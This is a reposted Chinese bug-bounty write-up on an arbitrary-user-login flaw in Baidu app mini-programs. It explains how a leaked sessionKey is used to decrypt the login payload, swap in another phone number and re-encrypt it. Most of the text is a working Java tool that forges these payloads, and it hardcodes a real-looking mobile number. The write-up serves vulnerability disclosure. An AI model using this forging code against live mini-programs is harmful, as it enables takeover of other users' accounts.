百度app小程序任意用户登录

admin 2023年8月31日12:08:59评论8 views字数 5242阅读17分28秒阅读模式

在一次百度src的活动中,对百度app内的功能进行测试时,发现其中也有小程序功能,对其进行测试发现存在和微信类似的任意用户登录问题

寻找小程序

在百度app中

百度app小程序任意用户登录

即可发现各种小程序,在百度小程序相关的官方文档中

https://smartprogram.baidu.com/forum/search?query=sessionKey&scope=devdocs&source=docs

百度app小程序任意用户登录

与微信小程序的流程差不多,在小程序里面寻找泄露sessionKey的

百度app小程序任意用户登录

一开始看到这个格式,以为sessionKey是被加密了,找了几个小程序也没找到有泄露sessionKey的地方,于是还是去看了官方文档。

https://smartprogram.baidu.com/docs/develop/function/login_userdata/ https://smartprogram.baidu.com/docs/develop/api/open/getSessionKey/

百度app小程序任意用户登录
百度app小程序任意用户登录

百度的sessionKey与微信的不太一样,就是这种格式。

任意用户登录测试

有了sessionKey就可以去加解密登录授权中的加密数据,这里百度小程序的登录请求包和微信也类似

百度app小程序任意用户登录

这里官方已经提供好了解密代码

百度app小程序任意用户登录

填充信息,进行解密测试

百度app小程序任意用户登录

这里百度小程序解密后只有一个手机号字段

百度app小程序任意用户登录

修改手机号,对信息进行加密,替换数据包

百度app小程序任意用户登录
百度app小程序任意用户登录

即可进行任意用户登录

加解密代码

import java.nio.ByteBuffer;
import java.nio.charset.Charset;
import java.util.Arrays;
import java.util.Base64;

import javax.crypto.Cipher;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;

public class Demo {
private static Charset CHARSET = Charset.forName("utf-8");

public String encrypt(String text, String appKey, String sessionKey, String ivStr) throws Exception {
byte[] textBytes = text.getBytes(CHARSET);
byte[] appKeyBytes = appKey.getBytes(CHARSET);
//16字节随机填充内容,4字节用户数据长度,后跟用户数据和appkey
byte[] beforeEncryptBytes = new byte[16 + 4 + textBytes.length + appKeyBytes.length];

//复制用户长度
System.arraycopy(ByteBuffer.allocate(4).putInt(textBytes.length).array(), 0, beforeEncryptBytes, 16, 4);
//复制用户数据
System.arraycopy(textBytes, 0, beforeEncryptBytes, 20, textBytes.length);
System.arraycopy(appKeyBytes, 0, beforeEncryptBytes, 20 + textBytes.length, appKeyBytes.length);
byte[] pkcs7 = PKCS7Encoder.encode(beforeEncryptBytes.length);
beforeEncryptBytes = Arrays.copyOf(beforeEncryptBytes, beforeEncryptBytes.length + pkcs7.length);
System.arraycopy(pkcs7, 0, beforeEncryptBytes, beforeEncryptBytes.length - pkcs7.length, pkcs7.length);

byte[] aesKey = Base64.getDecoder().decode(sessionKey);
byte[] encrypted;
try {
Cipher cipher = Cipher.getInstance("AES/CBC/NoPadding");
SecretKeySpec keySpec = new SecretKeySpec(aesKey, "AES");
byte[] ivBytes = Base64.getDecoder().decode(ivStr);
IvParameterSpec iv = new IvParameterSpec(ivBytes);
cipher.init(Cipher.ENCRYPT_MODE, keySpec, iv);
encrypted = cipher.doFinal(beforeEncryptBytes);
} catch (Exception e) {
throw new Exception(e);
}
return Base64.getEncoder().encodeToString(encrypted);

}

/**
* 对密文进行解密
*
* @param text 需要解密的密文
*
* @return 解密得到的明文
*
* @throws Exception 异常错误信息
*/
public String decrypt(String text, String sessionKey,String ivStr) throws Exception {
byte[] aesKey = Base64.getDecoder().decode(sessionKey);
byte[] original;
try {
Cipher cipher = Cipher.getInstance("AES/CBC/NoPadding");
SecretKeySpec keySpec = new SecretKeySpec(aesKey, "AES");
byte[] ivBytes = Base64.getDecoder().decode(ivStr);
IvParameterSpec iv = new IvParameterSpec(ivBytes);
cipher.init(Cipher.DECRYPT_MODE, keySpec, iv);
byte[] encrypted = Base64.getDecoder().decode(text);
original = cipher.doFinal(encrypted);
} catch (Exception e) {
throw new Exception(e);
}
String xmlContent;
String fromClientId;
try {
// 去除补位字符
byte[] bytes = PKCS7Encoder.decode(original);
// 分离16位随机字符串,网络字节序和ClientId
byte[] networkOrder = Arrays.copyOfRange(bytes, 16, 20);
int xmlLength = recoverNetworkBytesOrder(networkOrder);
if (xmlLength > 65535) {
/*
* 注意:开发者解密加密数据出现乱码或者偶发OOM,一般是sessionKey过期导致
*
* 开发者可以根据实际情况,改变判断值大小
*/
throw new RuntimeException("aesKey invalid");
}
xmlContent = new String(Arrays.copyOfRange(bytes, 20, 20 + xmlLength), CHARSET);
fromClientId = new String(Arrays.copyOfRange(bytes, 20 + xmlLength, bytes.length), CHARSET);
} catch (Exception e) {
throw new Exception(e);
}
return xmlContent;
}

public static String getType(Object test) {
return test.getClass().getName().toString();

}

/**
* 还原4个字节的网络字节序
*
* @param orderBytes 字节码
*
* @return sourceNumber
*/
private int recoverNetworkBytesOrder(byte[] orderBytes) {
int sourceNumber = 0;
int length = 4;
int number = 8;
for (int i = 0; i < length; i++) {
sourceNumber <<= number;
sourceNumber |= orderBytes[i] & 0xff;
}
return sourceNumber;
}

/**
* 加密解密demo
*
* @param args
* @throws Exception
*/
public static void main(String[] args) throws Exception {
//String dy = "Ix;
//String dy = "x";
String sessionKey = "xxxx";
String iv = "xxx==";
String appkey = "xxx";

Demo demo = new Demo();
//String dy = demo.encrypt("ceshi", "123", sessionKey, iv);
String dy = demo.encrypt("{"mobile":"17314883656"}", "123", sessionKey, iv);
String dd = demo.decrypt(dy, sessionKey, iv);
System.out.println(dy);
System.out.println(dd);
}
}
class PKCS7Encoder {

static Charset CHARSET = Charset.forName("utf-8");
static int BLOCK_SIZE = 32;

/**
* 获得对明文进行补位填充的字节.
*
* @param count 需要进行填充补位操作的明文字节个数
*
* @return 补齐用的字节数组
*/
static byte[] encode(int count) {
// 计算需要填充的位数
int amountToPad = BLOCK_SIZE - (count % BLOCK_SIZE);
if (amountToPad == 0) {
amountToPad = BLOCK_SIZE;
}
// 获得补位所用的字符
char padChr = chr(amountToPad);
String tmp = new String();
for (int index = 0; index < amountToPad; index++) {
tmp += padChr;
}
return tmp.getBytes(CHARSET);
}

/**
* 删除解密后明文的补位字符
*
* @param decrypted 解密后的明文
*
* @return 删除补位字符后的明文
*/
static byte[] decode(byte[] decrypted) {
int pad = (int) decrypted[decrypted.length - 1];
if (pad < 1 || pad > 32) {
pad = 0;
}
return Arrays.copyOfRange(decrypted, 0, decrypted.length - pad);
}

/**
* 将数字转化成ASCII码对应的字符,用于对明文进行补码
*
* @param a 需要转化的数字
*
* @return 转化得到的字符
*/
static char chr(int a) {
byte target = (byte) (a & 0xFF);
return (char) target;
}

 

 

原文始发于微信公众号(Str1am Record):百度app小程序任意用户登录

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年8月31日12:08:59
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   百度app小程序任意用户登录https://cn-sec.com/archives/1998276.html

发表评论

匿名网友 填写信息